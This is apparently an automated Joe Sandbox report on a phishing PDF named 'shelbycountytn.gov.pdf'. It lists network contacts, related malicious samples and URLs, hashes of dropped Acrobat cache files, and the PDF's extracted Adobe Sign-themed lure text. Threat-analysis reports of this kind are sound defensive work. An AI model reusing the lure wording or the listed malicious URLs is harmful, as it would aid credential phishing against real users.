                    104.17.24.14
                    		unknownUnited States
                    		13335CLOUDFLARENETUSfalse
                    1.1.1.1
                    		unknownAustralia
                    		13335CLOUDFLARENETUSfalse
                    96.16.24.189
                    		unknownUnited States
                    		16625AKAMAI-ASUSfalse
                    104.18.95.41
                    		unknownUnited States
                    		13335CLOUDFLARENETUSfalse
                    151.101.2.137
                    		unknownUnited States
                    		54113FASTLYUSfalse
                    239.255.255.250
                    		unknownReserved
                    		unknownunknownfalse
                    188.114.96.3
                    		unknownEuropean Union
                    		13335CLOUDFLARENETUSfalse

                    Private

                    IP
                    192.168.2.5

                    General Information

                    Joe Sandbox version:41.0.0 Charoite
                    Analysis ID:1529401
                    Start date and time:2024-10-09 00:00:36 +02:00
                    Joe Sandbox product:CloudBasic
                    Overall analysis duration:0h 6m 20s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Cookbook file name:defaultwindowspdfcookbook.jbs
                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                    Number of analysed new started processes analysed:13
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • EGA enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Sample name:shelbycountytn.gov.pdf
                    Detection:MAL
                    Classification:mal48.phis.winPDF@52/95@0/12
                    Cookbook Comments:
                    • Found application associated with file extension: .pdf
                    • Found PDF document
                    • Close Viewer

                    Warnings

                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
                    • Excluded IPs from analysis (whitelisted): 184.28.88.176, 34.193.227.236, 54.144.73.197, 107.22.247.231, 18.207.85.246, 2.19.126.143, 2.19.126.149, 172.64.41.3, 162.159.61.3, 2.23.197.184, 2.19.126.137, 2.19.126.163, 192.229.221.95, 23.198.214.140, 23.198.214.134, 192.168.2.4, 172.217.18.3, 74.125.206.84, 172.217.18.14, 34.104.35.123, 142.250.74.202, 142.250.185.74, 142.250.186.138, 216.58.206.74, 142.250.186.42, 142.250.181.234, 172.217.16.138, 216.58.212.138, 142.250.186.74, 172.217.18.10, 216.58.212.170, 142.250.184.202, 142.250.186.170, 142.250.186.106, 142.250.185.138, 172.217.16.202, 142.250.185.131, 142.250.185.142, 142.250.185.99
                    • Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, a767.dspw65.akamai.net, acroipm2.adobe.com, dns.msftncsi.com, clients2.google.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, optimizationguide-pa.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, edgedl.me.gvt1.com, clients.l.google.com, geo2.adobe.com
                    • Not all processes where analyzed, report is missing behavior information
                    • Report size exceeded maximum capacity and may have missing behavior information.
                    • VT rate limit hit for: shelbycountytn.gov.pdf

                    Simulations

                    Behavior and APIs

                    TimeTypeDescription
                    18:01:44API Interceptor3x Sleep call for process: AcroCEF.exe modified

                    LLM Input / Output

                    InputOutput
                    URL: https://pjd.ctorombet.com/enRUG/ Model: jbxai
                    {
"brand":[],
"contains_trigger_text":false,
"trigger_text":"",
"prominent_button_name":"unknown",
"text_input_field_labels":"unknown",
"pdf_icon_visible":false,
"has_visible_captcha":false,
"has_urgent_text":false,
"text":"Conducting checks to validate your browser's security.",
"has_visible_qrcode":false}
                    URL: https://pjd.ctorombet.com/enRUG/ Model: jbxai
                    {
"brand":["Cloudflare"],
"contains_trigger_text":false,
"trigger_text":"",
"prominent_button_name":"unknown",
"text_input_field_labels":"unknown",
"pdf_icon_visible":false,
"has_visible_captcha":false,
"has_urgent_text":false,
"text":"Verifying... Conducting checks to validate your browser's security.",
"has_visible_qrcode":false}
                    URL: PDF document Model: jbxai
                    {
"brand":["Adobe"],
"contains_trigger_text":true,
"trigger_text":"You have received a confidential document.",
"prominent_button_name":"VIEW WITH ADOBE",
"text_input_field_labels":["Access Documents"],
"pdf_icon_visible":false,
"has_visible_captcha":false,
"has_urgent_text":false,
"text":"You have received a confidential document. Alternate Signing Method Visit Adobe.com,
 click 'Access Documents',
 and enter the security code: A2A4AB5E6E004BA3A2556CA058110B387 About Adobe Sign documents electronically in just minutes. It's safe,
 secure,
 and legally binding. Whether you're in an office,
 at home,
 on-the-go -- or even across the globe -- Adobe provides a professional trusted solution for Digital Transaction Management. Questions about the Document? If you need to modify the document or have questions about the details in the document,
 please reach out to the sender by emailing them directly.",
"has_visible_qrcode":false}

                    Joe Sandbox View / Context

                    IPs

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    104.17.24.14Proforma.Invoice.Payment.$$.htmlGet hashmaliciousUnknownBrowse
                    • cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
                    http://vtaurl.comGet hashmaliciousUnknownBrowse
                    • cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
                    http://Voyages.CNTraveler.comGet hashmaliciousUnknownBrowse
                    • cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
                    104.18.94.41https://link-karix.unifiedrml.com/link/load/?uid=66f149a6a2cee777918b45c2-66f14b565f7b47ad77e978c0-66f14b0aa2cee705a28b4575&uri=https%3A%2F%2Fbluworldusabluworldusa.jimdofree.com/Get hashmaliciousHTMLPhisherBrowse
                      original.emlGet hashmaliciousHtmlDropperBrowse
                        https://shoutout.wix.com/so/68P9j4pbc/c?w=YIpy_LmKpeOuRTcqEasLgbctjTenhex96yD397bZU04.eyJ1IjoiaHR0cHM6Ly9maWxlc3NoYXJlcy5naXRodWIuaW8vYXJ1dHkvIiwiciI6IjU3ZWU5MDNjLTU1YjktNDMxYS0zNDRiLWUzZjYxNjRhN2I0MiIsIm0iOiJtYWlsIiwiYyI6IjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAwMCJ9Get hashmaliciousHTMLPhisherBrowse
                          Remittance_Regulvar.htmGet hashmaliciousUnknownBrowse
                            Adfast Canada Request For Proposal (RFP) ID#9009.pdfGet hashmaliciousUnknownBrowse
                              Demande de proposition de AVANTAGE INDUSTRIEL INC.pdfGet hashmaliciousHtmlDropperBrowse
                                https://google.com/amp/s/login.sharesyncportal.tech/dmYzPMejGet hashmaliciousHTMLPhisherBrowse
                                  https://phisher-parts-production-us-east-1.s3.amazonaws.com/da08a569-c476-4c06-9e6f-9e3c8ae51232/2024-10-08/dm05v41jqt45dhgffdnn8f9og9hsqbgjjjhn2jo1/7abc4121254d93d61494ed63a8489e54fc18f49b8fee3f2e42bc06d8de3bd8f4?response-content-disposition=attachment%3B%20filename%3D%22Trailhead%20Media%2024-090.pdf%22%3B%20filename%2A%3DUTF-8%27%27Trailhead%2520Media%252024-090.pdf&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA37KREM2QGGSCSFZ4%2F20241008%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241008T163442Z&X-Amz-Expires=13860&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEO%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIDgEEKEw%2BhLGwBtqA9K8lbT2NL7hbWhvf2%2BPjyD670ZwAiEAjxudbMDljL%2FUqXOnRGbBuWM4gt9lBw1st5sI4FM7vZ8q%2FwMIRxAAGgw4MjMxOTMyNjU4MjQiDFL6sO98KdRGT%2FyB6ircA40orR%2Bw3i4U%2B9phl56wCil07vS%2BjAp0tNBfyQAkuYLNSI62vBzUSfUh8AtFx4keNf0RgCCwE%2F5gCyMz9dJzZLyDD2IAKWq0%2BZVLBi%2F7b8rVNUO1YeOio8ujPMfp7PNvhweEfhhY8gWxNds6w8BqlSQW47gyG6lKcp0A7mT5WgKaRXw1WeqCAEMdJCJlPtEma%2BQC5iWhRM0pLWgiBkR6hefhuzg2Tz54kHG3UNQwcDWAaKnjqYhM7zFoyV4AQaheZ%2FfeYnY1yedYoX4pPvs1ESF9JlWKqYxq45XmyrelrdgZHdinsHB9NygBDgLYdQlVcA8q8aEDwM5yaKxZUCkRDUT%2BJb0%2BCtt9rbu6zRC%2FVmZKIGqbIpVGNy4amYEf%2BnSXLUdz7lVpXGsb3kLoOghblbHcyVEfagdESdqIrQuvWG9mqEGbD0OQjdCwVx4Q4jbP%2F64E0vyYOxW5KEhabAoO8CQ4rv8pn47DEAsuKYtGkCRN%2FxqSxHV6ean9UbkBuNzcfqn%2FVpGx3A2uxr7Lyff7MJArWEMXsvfWi5LKjU8A8WeqnHljxyB6lsfFsi3p6KnjmkR9k7rwdRb2wdfEKvrkoq5%2B9cMWCTkzI1xSuI12GZdP74XfakNrsOJTGxzpMOaBlbgGOqUB6EOKQuRv4stEwpQj1THsV61McwaeBhcQW1ZeiHMR%2FPMuUFHOTfzikGnzEF0dw579Pv6WD2vyvq7i7uJv%2BRQQTqPgYSf6GCpXd%2Bpo4bQXTs9GoUG1Dv0s2Tos1ZBR6T7%2BCdAb%2F%2BMYiPDy86%2FFbh1RI6E5jnVh%2ByCIGL%2Bg53Mj67qwCe%2F7aw%2B6TyAnJVcGnug9ml35ow0E3Vc4ob87u3B9PwqgKEDQ&X-Amz-SignedHeaders=host&X-Amz-Signature=e4981c31034331c2fd0b62d9cfd5b86f4ce28daacc9bf862502fbb9c444389d2Get hashmaliciousHTMLPhisherBrowse
                                    http://email-tracking.jotelulu.com/c/eJx0yjFyhSAQANDTQBeHXVaFgiKN90B29ZMQdRCSGU-fyQFSv8dhHdmSlgAzOjIEnvQrgLeSVgTrMPlRmBmtoMA2-W1NE-gc0CCBMQ4mmCwNntfkeJxnEYpuc4rMx9mk9NKHdH7pEl6tXbey7woXhUvNdyySj17b8xcULj_XWz5S6Sy3wqXVmD7zsSu0u9R8D5dUeRSZ_YxxOOuua_gHvgP-BgAA__-1WEObGet hashmaliciousHTMLPhisherBrowse
                                      https://salesf54b.myportfolio.com/Get hashmaliciousUnknownBrowse
                                        151.101.194.137http://facebooksecurity.blogspot.dk/Get hashmaliciousUnknownBrowse
                                        • code.jquery.com/jquery-1.7.min.js
                                        http://soporte-store.info/icloud2022-esp.phpGet hashmaliciousUnknownBrowse
                                        • code.jquery.com/jquery-1.11.3.min.js
                                        http://mi-outlook-loggin.click/icloud2022-esp.phpGet hashmaliciousUnknownBrowse
                                        • code.jquery.com/jquery-1.11.3.min.js
                                        http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/Get hashmaliciousUnknownBrowse
                                        • code.jquery.com/jquery-1.9.1.js
                                        http://facebooksecurity.blogspot.pe/Get hashmaliciousUnknownBrowse
                                        • code.jquery.com/jquery-1.7.min.js
                                        https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.comGet hashmaliciousUnknownBrowse
                                        • code.jquery.com/jquery-3.3.1.min.js

                                        Domains

                                        ⊘No context

                                        ASNs

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        CLOUDFLARENETUSfile.exeGet hashmaliciousLummaCBrowse
                                        • 104.21.53.8
                                        https://link-karix.unifiedrml.com/link/load/?uid=66f149a6a2cee777918b45c2-66f14b565f7b47ad77e978c0-66f14b0aa2cee705a28b4575&uri=https%3A%2F%2Fbluworldusabluworldusa.jimdofree.com/Get hashmaliciousHTMLPhisherBrowse
                                        • 104.17.25.14
                                        https://paa9eki.fitutend.com/p0wh/Get hashmaliciousHTMLPhisherBrowse
                                        • 104.16.79.73
                                        https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFnDa0TAMLVO9WtBTyYEZqZA-3DPrnv_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZOmYNN4Eos0I-2F5FhDJBI4w4qadztSYeu4ugOMJrD5ZJ3NK5HbR-2B5js4EjZpFmlZJIJ2eepX0b1t3SsV5gyIJGc7CJjeC8X5Wxzv49-2FqOYJzl5qBXpr-2BWwAW7G6cWDOqZN4YK73LjV4xBBNvL9fcHX0SM3SHQjbhXBuKD0dh5WqiuRgt8l7OsZEvxy8UkJaur7KIBjJyVTij7zCSJnYd6mjsUFQl8fAjX9eSOEGKjy2XWh8GHa2xi9VgTVCxGMcn7gM-3DGet hashmaliciousUnknownBrowse
                                        • 188.114.96.3
                                        file.exeGet hashmaliciousLummaCBrowse
                                        • 104.21.53.8
                                        original.emlGet hashmaliciousHtmlDropperBrowse
                                        • 104.18.95.41
                                        https://www-washingtoncountyinsider-com.webpkgcache.com/doc/-/s/www.washingtoncountyinsider.com//Get hashmaliciousUnknownBrowse
                                        • 104.26.4.144
                                        Illustrator_Set-Up.exeGet hashmaliciousUnknownBrowse
                                        • 172.66.0.163
                                        PrintDriver_x64.msiGet hashmaliciousUnknownBrowse
                                        • 172.64.41.3
                                        file.exeGet hashmaliciousLummaCBrowse
                                        • 104.21.53.8
                                        FASTLYUShttps://paa9eki.fitutend.com/p0wh/Get hashmaliciousHTMLPhisherBrowse
                                        • 151.101.2.137
                                        original.emlGet hashmaliciousHtmlDropperBrowse
                                        • 151.101.2.137
                                        https://shoutout.wix.com/so/68P9j4pbc/c?w=YIpy_LmKpeOuRTcqEasLgbctjTenhex96yD397bZU04.eyJ1IjoiaHR0cHM6Ly9maWxlc3NoYXJlcy5naXRodWIuaW8vYXJ1dHkvIiwiciI6IjU3ZWU5MDNjLTU1YjktNDMxYS0zNDRiLWUzZjYxNjRhN2I0MiIsIm0iOiJtYWlsIiwiYyI6IjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAwMCJ9Get hashmaliciousHTMLPhisherBrowse
                                        • 151.101.2.137
                                        Remittance_Regulvar.htmGet hashmaliciousUnknownBrowse
                                        • 151.101.65.44
                                        Adfast Canada Request For Proposal (RFP) ID#9009.pdfGet hashmaliciousUnknownBrowse
                                        • 151.101.2.137
                                        https://climate-consultant.informer.com/6.0/Get hashmaliciousUnknownBrowse
                                        • 151.101.194.137
                                        Demande de proposition de AVANTAGE INDUSTRIEL INC.pdfGet hashmaliciousHtmlDropperBrowse
                                        • 151.101.2.137
                                        yYk4nXhHaA.docGet hashmaliciousUnknownBrowse
                                        • 185.199.109.133
                                        segura.vbsGet hashmaliciousUnknownBrowse
                                        • 185.199.110.133
                                        playmod24.vbsGet hashmaliciousUnknownBrowse
                                        • 185.199.109.133
                                        CLOUDFLARENETUSfile.exeGet hashmaliciousLummaCBrowse
                                        • 104.21.53.8
                                        https://link-karix.unifiedrml.com/link/load/?uid=66f149a6a2cee777918b45c2-66f14b565f7b47ad77e978c0-66f14b0aa2cee705a28b4575&uri=https%3A%2F%2Fbluworldusabluworldusa.jimdofree.com/Get hashmaliciousHTMLPhisherBrowse
                                        • 104.17.25.14
                                        https://paa9eki.fitutend.com/p0wh/Get hashmaliciousHTMLPhisherBrowse
                                        • 104.16.79.73
                                        https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFnDa0TAMLVO9WtBTyYEZqZA-3DPrnv_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZOmYNN4Eos0I-2F5FhDJBI4w4qadztSYeu4ugOMJrD5ZJ3NK5HbR-2B5js4EjZpFmlZJIJ2eepX0b1t3SsV5gyIJGc7CJjeC8X5Wxzv49-2FqOYJzl5qBXpr-2BWwAW7G6cWDOqZN4YK73LjV4xBBNvL9fcHX0SM3SHQjbhXBuKD0dh5WqiuRgt8l7OsZEvxy8UkJaur7KIBjJyVTij7zCSJnYd6mjsUFQl8fAjX9eSOEGKjy2XWh8GHa2xi9VgTVCxGMcn7gM-3DGet hashmaliciousUnknownBrowse
                                        • 188.114.96.3
                                        file.exeGet hashmaliciousLummaCBrowse
                                        • 104.21.53.8
                                        original.emlGet hashmaliciousHtmlDropperBrowse
                                        • 104.18.95.41
                                        https://www-washingtoncountyinsider-com.webpkgcache.com/doc/-/s/www.washingtoncountyinsider.com//Get hashmaliciousUnknownBrowse
                                        • 104.26.4.144
                                        Illustrator_Set-Up.exeGet hashmaliciousUnknownBrowse
                                        • 172.66.0.163
                                        PrintDriver_x64.msiGet hashmaliciousUnknownBrowse
                                        • 172.64.41.3
                                        file.exeGet hashmaliciousLummaCBrowse
                                        • 104.21.53.8

                                        JA3 Fingerprints

                                        ⊘No context

                                        Dropped Files

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1294590347\Google.Widevine.CDM.dllhttps://google.com/amp/s/login.sharesyncportal.tech/dmYzPMejGet hashmaliciousHTMLPhisherBrowse
                                          EPAYMENT_Receipt.htmlGet hashmaliciousUnknownBrowse
                                            Audio_Msg..00293614554893Transcript.htmlGet hashmaliciousUnknownBrowse
                                              http://kendellseafoods.com/Get hashmaliciousUnknownBrowse
                                                file.exeGet hashmaliciousCredential FlusherBrowse
                                                  Farahexperiences.com_Report_52288.pdfGet hashmaliciousUnknownBrowse
                                                    file.exeGet hashmaliciousCredential FlusherBrowse
                                                      file.exeGet hashmaliciousUnknownBrowse
                                                        Capelleaandenijssel.nl_reff_9918205228_HelNc2Zf7n.htmlGet hashmaliciousHTMLPhisherBrowse
                                                          file.exeGet hashmaliciousCredential FlusherBrowse
                                                            C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1732070053\_platform_specific\win_x64\widevinecdm.dllEPAYMENT_Receipt.htmlGet hashmaliciousUnknownBrowse
                                                              Capelleaandenijssel.nl_reff_9918205228_HelNc2Zf7n.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                https://qrco.de/bfQgn5Get hashmaliciousUnknownBrowse
                                                                  Inv_Doc_18#908.pdfGet hashmaliciousUnknownBrowse
                                                                    http://www.revsharboomerang.comGet hashmaliciousUnknownBrowse
                                                                      AMA - 375,545.04.htmGet hashmaliciousUnknownBrowse
                                                                        ACH Payment Details_(Dcorbett)CQDM.htmlGet hashmaliciousUnknownBrowse
                                                                          doc_inv_09-12#965.pdfGet hashmaliciousUnknownBrowse
                                                                            bot_library.exeGet hashmaliciousUnknownBrowse
                                                                              svAsYrT598.exeGet hashmaliciousUnknownBrowse

                                                                                Created / dropped Files

                                                                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:ASCII text
                                                                                Category:dropped
                                                                                Size (bytes):292
                                                                                Entropy (8bit):5.188620067955688
                                                                                Encrypted:false
                                                                                SSDEEP:6:c6xN4q2Pwkn2nKuAl9OmbnIFUt8L6D9JZmw+L6D9DkwOwkn2nKuAl9OmbjLJ:cUOvYfHAahFUt8LqH/+LqV5JfHAaSJ
                                                                                MD5:2E6EA6BAE7D14491B076CE3A383BBF6A
                                                                                SHA1:8A0A88C5C6AADCF600DB778CC79E3DD894E93262
                                                                                SHA-256:A43A1FA188FC7ECD35220EA2787AC6938E3A5FE4B72617E6EFEDBAE2DE0521B5
                                                                                SHA-512:631DF49C0CEB4170840D8392C9951C596474D73E0BC2D18265947C1AF0F5CEB99881D8BAAE64DDAD5922BA104F6AE1F8452F9BBE221D3BB54726B8B04DBE9C7D
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview:2024/10/08-18:01:31.792 1c44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/10/08-18:01:31.794 1c44 Recovering log #3.2024/10/08-18:01:31.794 1c44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

                                                                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:ASCII text
                                                                                Category:dropped
                                                                                Size (bytes):292
                                                                                Entropy (8bit):5.188620067955688
                                                                                Encrypted:false
                                                                                SSDEEP:6:c6xN4q2Pwkn2nKuAl9OmbnIFUt8L6D9JZmw+L6D9DkwOwkn2nKuAl9OmbjLJ:cUOvYfHAahFUt8LqH/+LqV5JfHAaSJ
                                                                                MD5:2E6EA6BAE7D14491B076CE3A383BBF6A
                                                                                SHA1:8A0A88C5C6AADCF600DB778CC79E3DD894E93262
                                                                                SHA-256:A43A1FA188FC7ECD35220EA2787AC6938E3A5FE4B72617E6EFEDBAE2DE0521B5
                                                                                SHA-512:631DF49C0CEB4170840D8392C9951C596474D73E0BC2D18265947C1AF0F5CEB99881D8BAAE64DDAD5922BA104F6AE1F8452F9BBE221D3BB54726B8B04DBE9C7D
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview:2024/10/08-18:01:31.792 1c44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/10/08-18:01:31.794 1c44 Recovering log #3.2024/10/08-18:01:31.794 1c44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

                                                                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:ASCII text
                                                                                Category:dropped
                                                                                Size (bytes):336
                                                                                Entropy (8bit):5.15288483103012
                                                                                Encrypted:false
                                                                                SSDEEP:6:c6JQVq2Pwkn2nKuAl9Ombzo2jMGIFUt8L6fvigZmw+L6fllIkwOwkn2nKuAl9OmT:c/vYfHAa8uFUt8L6/+LGu5JfHAa8RJ
                                                                                MD5:4A83E4CCD0C68D335A1962333EB8EF98
                                                                                SHA1:859EDDB7D15ACB4E4D22C6A6B65B2A6DA2BCA269
                                                                                SHA-256:FF676D5903E59FE2545ACECF13BD4FF746B13382C00671948327C2840B8BB61D
                                                                                SHA-512:BA9996B74AF131EC8BFAB20F7C50610F5F22666F8C72C51FF82F30FA783E5F0F60A7C10A6393821366C58F08E622474FDB257460A8234FA53A734D61DC07C3B3
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview:2024/10/08-18:01:31.879 1d50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/10/08-18:01:31.880 1d50 Recovering log #3.2024/10/08-18:01:31.881 1d50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

                                                                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:ASCII text
                                                                                Category:dropped
                                                                                Size (bytes):336
                                                                                Entropy (8bit):5.15288483103012
                                                                                Encrypted:false
                                                                                SSDEEP:6:c6JQVq2Pwkn2nKuAl9Ombzo2jMGIFUt8L6fvigZmw+L6fllIkwOwkn2nKuAl9OmT:c/vYfHAa8uFUt8L6/+LGu5JfHAa8RJ
                                                                                MD5:4A83E4CCD0C68D335A1962333EB8EF98
                                                                                SHA1:859EDDB7D15ACB4E4D22C6A6B65B2A6DA2BCA269
                                                                                SHA-256:FF676D5903E59FE2545ACECF13BD4FF746B13382C00671948327C2840B8BB61D
                                                                                SHA-512:BA9996B74AF131EC8BFAB20F7C50610F5F22666F8C72C51FF82F30FA783E5F0F60A7C10A6393821366C58F08E622474FDB257460A8234FA53A734D61DC07C3B3
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview:2024/10/08-18:01:31.879 1d50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/10/08-18:01:31.880 1d50 Recovering log #3.2024/10/08-18:01:31.881 1d50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

                                                                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8a8aec88-2469-4281-822f-508b5da3a534.tmp

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:JSON data
                                                                                Category:modified
                                                                                Size (bytes):475
                                                                                Entropy (8bit):4.965951319073702
                                                                                Encrypted:false
                                                                                SSDEEP:12:YH/um3RA8sqqhsBdOg2HZcaq3QYiubInP7E4T3y:Y2sRdsYdMHg3QYhbG7nby
                                                                                MD5:F4D5716DF64A1DE4DF891C6BFFF9EC5D
                                                                                SHA1:E1E25935A461F598F38AF3DAE750149474D94F9C
                                                                                SHA-256:23D0952C07FB053EF19A7B2327B7C971259F96B2DA76BF00375D8F5F316E8206
                                                                                SHA-512:B66C656156EA6EFAD8CD3965EE541D08CC15472754D7DA1D90EBE35166C227E942E49A9D2F098532EE6C31EF7660240ED3BA80F0027730DDDCC14D4AEF95C7B1
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview:{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13372984904446204","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":158472},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

                                                                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):475
                                                                                Entropy (8bit):4.965951319073702
                                                                                Encrypted:false
                                                                                SSDEEP:12:YH/um3RA8sqqhsBdOg2HZcaq3QYiubInP7E4T3y:Y2sRdsYdMHg3QYhbG7nby
                                                                                MD5:F4D5716DF64A1DE4DF891C6BFFF9EC5D
                                                                                SHA1:E1E25935A461F598F38AF3DAE750149474D94F9C
                                                                                SHA-256:23D0952C07FB053EF19A7B2327B7C971259F96B2DA76BF00375D8F5F316E8206
                                                                                SHA-512:B66C656156EA6EFAD8CD3965EE541D08CC15472754D7DA1D90EBE35166C227E942E49A9D2F098532EE6C31EF7660240ED3BA80F0027730DDDCC14D4AEF95C7B1
                                                                                Malicious:false
                                                                                Reputation:low
                                                                                Preview:{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13372984904446204","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":158472},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

                                                                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):4730
                                                                                Entropy (8bit):5.255038050054662
                                                                                Encrypted:false
                                                                                SSDEEP:96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7p4UG442GZ:etJCV4FiN/jTN/2r8Mta02fEhgO73go6
                                                                                MD5:695865DB76283F5BE83CC14DCCDFD3FE
                                                                                SHA1:33AE6795F718BB358E2FF68EB7C9E510AC0D6276
                                                                                SHA-256:7E4E9CF2D2BB06DA90ECD76B61EE05FCF6CC48C7EE7FFC57662B1ACD0FFE91FB
                                                                                SHA-512:217FF4B04C2BEBFD4C8F2511BDC4B66431AA0AF0FF83448A30CA0E7E6CB5E3F6B440BFAD35106FB9FE15DF284A68D2C9F56A7AD225E303DCA0FF193C37731CB5
                                                                                Malicious:false
